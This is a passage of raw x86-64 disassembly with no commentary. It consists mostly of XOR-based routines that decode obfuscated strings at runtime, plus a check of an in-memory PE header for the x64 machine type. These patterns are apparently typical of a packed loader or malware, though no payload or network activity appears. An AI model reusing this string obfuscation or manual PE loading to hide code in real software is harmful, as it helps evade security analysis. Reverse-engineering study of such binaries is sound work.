call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rsp + 0x68], 0
lea rdx, [rbp + 0x638]
lea rcx, [rsp + 0x68]
call fcn.14001b110
mov rbx, rax
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140005ad4
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor byte [rax + 9], 9
xor cl, 0xa
mov byte [rax + 0xa], cl
mov byte [rsp + 0x69], 0
lea rdx, [rbp + 0x478]
lea rcx, [rsp + 0x69]
call fcn.14001b080
jmp 0x140006697
mov byte [rsp + 0x6a], 0
lea rdx, [rbp + 0x2e8]
lea rcx, [rsp + 0x6a]
call fcn.14001b8f0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140005b2f
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor cl, 8
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x17a0]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x17a0]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x17a0]
call fcn.1400b3040
cmp ebx, 0xd
jne 0x1400061d9
mov byte [rsp + 0x6b], 0
lea rdx, [rbp + 0xb4]
lea rcx, [rsp + 0x6b]
call fcn.14001c280
mov rbx, rax
movzx eax, byte [rax + 2]
test al, al
je 0x140005b94
xor byte [rbx + 1], 1
xor al, 2
mov byte [rbx + 2], al
mov byte [rsp + 0x6c], 0
lea rdx, [rbp + 0x218]
lea rcx, [rsp + 0x6c]
call fcn.14001c0d0
mov r10, rax
cmp byte [rax + 7], 0
je 0x140005cb1
cmp esi, 2
jl 0x140005c7a
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
jmp 0x140005cb1
mov r9, r10
mov r8d, edi
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140005c80
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rsp + 0x6d], 0
lea rdx, [rbp + 0x908]
lea rcx, [rsp + 0x6d]
call fcn.14001bf00
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140005df0
mov r8d, edi
cmp esi, 2
jl 0x140005db9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140005dc0
mov byte [rsp + 0x6e], 0
lea rdx, [rbp + 0xe98]
lea rcx, [rsp + 0x6e]
call fcn.14001bd30
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140005f30
mov r8d, edi
cmp esi, 2
jl 0x140005eee
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140005f00
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rsp + 0x6f], 0
lea rdx, [rbp + 0x1308]
lea rcx, [rsp + 0x6f]
call fcn.14001bb40
mov rbx, rax
cmp byte [rax + 0xf], 0
je 0x1400060a1
cmp esi, 2
jl 0x14000605f
mov edx, edi
mov rcx, rax
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140005f80
jmp 0x1400060a1
mov r9, rbx
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140006070
mov byte [rsp + 0x70], 0
lea rdx, [rbp + 0x918]
lea rcx, [rsp + 0x70]
call fcn.14001b970
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140005511
mov r8d, edi
cmp esi, 2
jl 0x14000618e
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400061a0
mov rcx, r10
jmp 0x1400066c8
mov byte [rsp + 0x71], 0
lea rdx, [rbp + 0x13c]
lea rcx, [rsp + 0x71]
call fcn.14001c300
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14000620d
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor cl, 5
mov byte [rax + 5], cl
mov rdx, rax
lea rcx, [rbp + 0x17c0]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x17c0]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x17c0]
call fcn.1400b3040
cmp ebx, 0xd
jne 0x1400066db
mov byte [rsp + 0x72], 0
lea rdx, [rbp + 0x648]
lea rcx, [rsp + 0x72]
call fcn.14001ca00
mov rbx, rax
movzx eax, byte [rax + 0xa]
test al, al
je 0x140006292
xor byte [rbx + 1], 1
xor byte [rbx + 2], 2
xor byte [rbx + 3], 3
xor byte [rbx + 4], 4
xor byte [rbx + 5], 5
xor byte [rbx + 6], 6
xor byte [rbx + 7], 7
xor byte [rbx + 8], 8
xor byte [rbx + 9], 9
xor al, 0xa
mov byte [rbx + 0xa], al
mov byte [rsp + 0x73], 0
lea rdx, [rbp + 0xb8]
lea rcx, [rsp + 0x73]
call fcn.14001c980
movzx ecx, byte [rax + 2]
test cl, cl
je 0x1400062ba
xor byte [rax + 1], 1
xor cl, 2
mov byte [rax + 2], cl
mov rdx, rbx
mov rcx, rax
call fcn.140003210
mov r14, rax
mov byte [rsp + 0x74], 0
lea rdx, [rbp + 0x928]
lea rcx, [rsp + 0x74]
call fcn.14001c7b0
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140006400
mov r8d, edi
cmp esi, 2
jl 0x1400063c2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400063d0
mov byte [rsp + 0x75], 0
lea rdx, [rbp + 0xea8]
lea rcx, [rsp + 0x75]
call fcn.14001c5e0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140006540
mov r8d, edi
cmp esi, 2
jl 0x1400064fe
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140006510
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rsp + 0x76], 0
lea rdx, [rbp + 0x938]
lea rcx, [rsp + 0x76]
call fcn.14001c410
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140006681
mov r8d, edi
cmp esi, 2
jl 0x140006646
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140006650
mov byte [rsp + 0x77], 0
lea rdx, [rbp + 0x488]
lea rcx, [rsp + 0x77]
call fcn.14001c380
movzx ecx, byte [rax + 9]
test cl, cl
je 0x1400066c5
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor cl, 9
mov byte [rax + 9], cl
mov rcx, rax
mov rdx, rbx
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
movsxd r13, dword [r12 + 0x3c]
add r13, r12
mov qword [rbp + 0x220], r13
mov eax, 0x8664
cmp word [r13 + 4], ax
jne 0x140017f6c
mov byte [rsp + 0x78], 0
lea rdx, [rbp + 0x1ac]
lea rcx, [rsp + 0x78]
call fcn.14001caa0
movzx ecx, byte [rax + 6]
test cl, cl
je 0x140006732
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor cl, 6
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x17e0]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x17e0]
call fcn.1400b3040
cmp ebx, 0xd
jne 0x140006e39
mov byte [rsp + 0x79], 0
lea rdx, [rbp + 0x1580]
lea rcx, [rsp + 0x79]
call fcn.14001d360
mov rbx, rax
cmp byte [rax + 0x19], 0
je 0x1400068c1
mov r8d, edi
cmp esi, 2
jl 0x140006887
mov rcx, rax
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400067a0
cmp r8d, 0x1a
jge 0x1400068c1
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140006890
mov byte [rsp + 0x7a], 0
lea rdx, [rbp + 0x13d0]
lea rcx, [rsp + 0x7a]
call fcn.14001d150
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x140006a21
mov r8d, edi
cmp esi, 2
jl 0x1400069e7
mov rcx, rax
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140006900
cmp r8d, 0x16
jge 0x140006a21
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400069f0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rsp + 0x7b], 0
lea rdx, [rbp + 0x948]
lea rcx, [rsp + 0x7b]
call fcn.14001cf80
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140006b60
mov r8d, edi
cmp esi, 2
jl 0x140006b29
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140006b30
mov byte [rsp + 0x7c], 0
lea rdx, [rbp + 0xeb8]
lea rcx, [rsp + 0x7c]
call fcn.14001cdb0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140006ca0
mov r8d, edi
cmp esi, 2
jl 0x140006c5e
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140006c70
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rsp + 0x7d], 0
lea rdx, [rbp + 0x658]
lea rcx, [rsp + 0x7d]
call fcn.14001cd10
mov rbx, rax
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140006d04
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor byte [rax + 9], 9
xor cl, 0xa
mov byte [rax + 0xa], cl
mov byte [rsp + 0x7e], 0
lea rdx, [rbp + 0x1248]
lea rcx, [rsp + 0x7e]
call fcn.14001cb30
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x140006e31
mov r8d, edi
cmp esi, 2
jl 0x140006df1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
